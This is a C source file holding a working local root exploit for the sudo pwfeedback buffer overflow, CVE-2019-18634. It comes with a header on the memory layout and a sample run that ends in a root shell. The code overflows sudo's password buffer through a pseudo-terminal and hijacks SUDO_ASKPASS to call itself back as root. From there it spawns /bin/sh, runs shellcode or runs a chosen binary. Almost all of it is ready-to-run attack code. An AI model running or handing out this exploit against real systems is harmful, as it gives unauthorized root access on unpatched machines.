/*
--- Exploit Info ---
ID: CVE-2019-18634
Software: sudo
Versions: < 1.8.30
Tested: 1.8.25
Description: buffer overflow in sudo tgetpass.c when pwfeedback module is enabled

Exploitation details:

We need to trigger the buffer overflow located in getln @ tgetpass.c, to
overflow some internal data structures and variables to get root privileges.

Memory order:
 
static char buf[SUDO_CONV_REPL_MAX + 1];

static const char *askpass;

static volatile sig_atomic_t signo[NSIG];

extern int tgetpass_flags;

struct user_details {
    pid_t pid;
    pid_t ppid;
    pid_t pgid;
    pid_t tcpgid;
    pid_t sid;
    uid_t uid;
    uid_t euid;
    uid_t gid;
    uid_t egid;
    const char *username;
    const char *cwd;
    const char *tty;
    const char *host;
    const char *shell;
    GETGROUPS_T *groups;
    int ngroups;
    int ts_cols;
    int ts_lines;
};

Execution:

lockedbyte@pwn:~$ /tmp/exploit
[i] CVE-2019-18634 - sudo < 1.8.30 OOB write (buffer overflow) leading to privilege escalation
[.] initializing pseudo-terminal...
[.] making pseudo-terminal O_RDONLY to make write() fail...
[.] crafting payload...
[.] sending payload...
[.] creating callback through SUDO_ASKPASS to /proc/self/exe...
[.] triggering vulnerability...
Password: 
Sorry, try again.
[+] callback executed!
[+] we are root!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(lockedbyte)
# pwd
/home/lockedbyte
# 


--- End Exploit Info ---
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <termios.h>
#include <string.h>
#include <unistd.h>

#define MAX_PAYLOAD_SIZE 1024
#define MAX_ENV_SZ 512

#define ID_BIN_PATH "/usr/bin/id"
#define ENV_ASKPASS "SUDO_ASKPASS"

#define MIN_TERM_ROUND 0xfe
#define OFF_T 0x272
#define FLAG_VAL 0x04

#define CUSTOM_SHELLCODE 0
#define SH_ROOT_SHELL 1
#define CUSTOM_EXECUTABLE 2

#define EXE_PATH "/proc/self/exe"

#define SHELLCODE "\x90\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
#define SH_ROOT_PATH "/bin/sh"
#define CUSTOM_EXECUTABLE_PATH "/usr/bin/whoami"

#define EXPLOIT_PAYLOAD SH_ROOT_SHELL

int evil_code(void) {
    fprintf(stderr, "[+] callback executed!\n");
    unsetenv(ENV_ASKPASS);
    dup2(2, 0);
    dup2(2, 1);
    if(getuid() != 0) {
      fprintf(stderr, "[-] we are not root. exiting...\n");
      exit(EXIT_FAILURE);
    }
    fprintf(stderr, "[+] we are root!\n");

    if(EXPLOIT_PAYLOAD == CUSTOM_SHELLCODE) {

      void *shellcode;
      shellcode = mmap(NULL, sizeof(SHELLCODE)+1, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
      memset(shellcode, 0x90, sizeof(SHELLCODE)+1);
      memcpy(shellcode, SHELLCODE, sizeof(SHELLCODE));
      int (*fptr)() = (int(*)())shellcode;

    } else if(EXPLOIT_PAYLOAD == SH_ROOT_SHELL) {
      execve("/bin/sh", NULL, NULL);
    } else if(EXPLOIT_PAYLOAD == CUSTOM_EXECUTABLE) {
      execve(CUSTOM_EXECUTABLE_PATH, NULL, NULL);
    }
    
    return 1;

}

int main(int argc, char *argv[]) {

  /* initial variable definitions */

  int masterfd;
  int slavefd;
  char *payload;
  char target_path[MAX_ENV_SZ];
  struct termios termx;
  char *pts_name;

  puts("[i] CVE-2019-18634 - sudo < 1.8.30 OOB write (buffer overflow) leading to privilege escalation");

  /* the exploit executed by sudo has 2 argv entries, the on executed initially just one */
  if(argc == 0x2) {
    evil_code(); /* we are probably getting executed by sudo with SUDO_ASKPASS */
    return 0;
  }

  puts("[.] initializing pseudo-terminal...");
  /* we initialize the pseudo-terminal */
  masterfd = posix_openpt(O_RDWR);

  /* grant access to the slave pseudoterminal */
  if(grantpt(masterfd) < 0) {
    puts("[-] err.: grantpt() failed!");
    exit(EXIT_FAILURE);
  }

  /* unlock a pseudoterminal master/slave pair */
  if(unlockpt(masterfd) < 0) {
    puts("[-] err.: unlockpt() failed!");
    exit(EXIT_FAILURE);
  }

  if(tcgetattr(masterfd, &termx) < 0) {
    puts("[-] err.: tcgetattr() failed!");
    exit(EXIT_FAILURE);
  }

  cfmakeraw(&termx);

  if(tcsetattr(masterfd, TCSANOW, &termx) < 0) {
    puts("[-] err.: tcsetattr() failed!");
    exit(EXIT_FAILURE);
  }

  /* get the name of the slave pseudoterminal */
  pts_name = ptsname(masterfd);

  puts("[.] making pseudo-terminal O_RDONLY to make write() fail...");
  /* it will be read-only to make the write syscall fail at tgetpass.c:328 */
  slavefd = open(pts_name, O_NOCTTY | O_RDONLY);

  /* initialize any memory space to store payload */
  payload = malloc(MAX_PAYLOAD_SIZE);

  /* fill memory with NULL bytes */
  memset(payload, 0, malloc_usable_size(payload));

  puts("[.] crafting payload...");

  /* to set the flag for SUDO_ASKPASS */
  payload[OFF_T] = FLAG_VAL;

  /* we set the sudo_term_kill character each n bytes to avoid BOF ending */
  for(int i = 0 ; i < (malloc_usable_size(payload)/MIN_TERM_ROUND) ; i++)
    payload[MIN_TERM_ROUND*i] = 0x15; /* the sudo_term_kill character is 0x15 */

  puts("[.] sending payload...");
  /* we send the payload to the pseudo terminal */
  write(masterfd, payload, malloc_usable_size(payload));

  free(payload);
  *payload = NULL;

  puts("[.] creating callback through SUDO_ASKPASS to /proc/self/exe...");
  /* we want to execute our selves once sudo finishes, then we will use /proc/self/exe */
  /* we use readlink to get the real path from the symlink */
  readlink(EXE_PATH, target_path, sizeof(target_path)-1);

  /* we set the SUDO_ASKPASS to te path where this program is stored */
  setenv(ENV_ASKPASS, target_path, 1);

  /* redirect stdin to slavefd */
  dup2(slavefd, 0);

  /* close slavefd */
  close(slavefd);

  puts("[.] triggering vulnerability...");

  /* finally we execute sudo with those specific args to trigger the vulnerability */
  execl("/usr/bin/sudo", "/usr/bin/sudo", "-S", "id", NULL);

  close(masterfd);

  return 0;

}
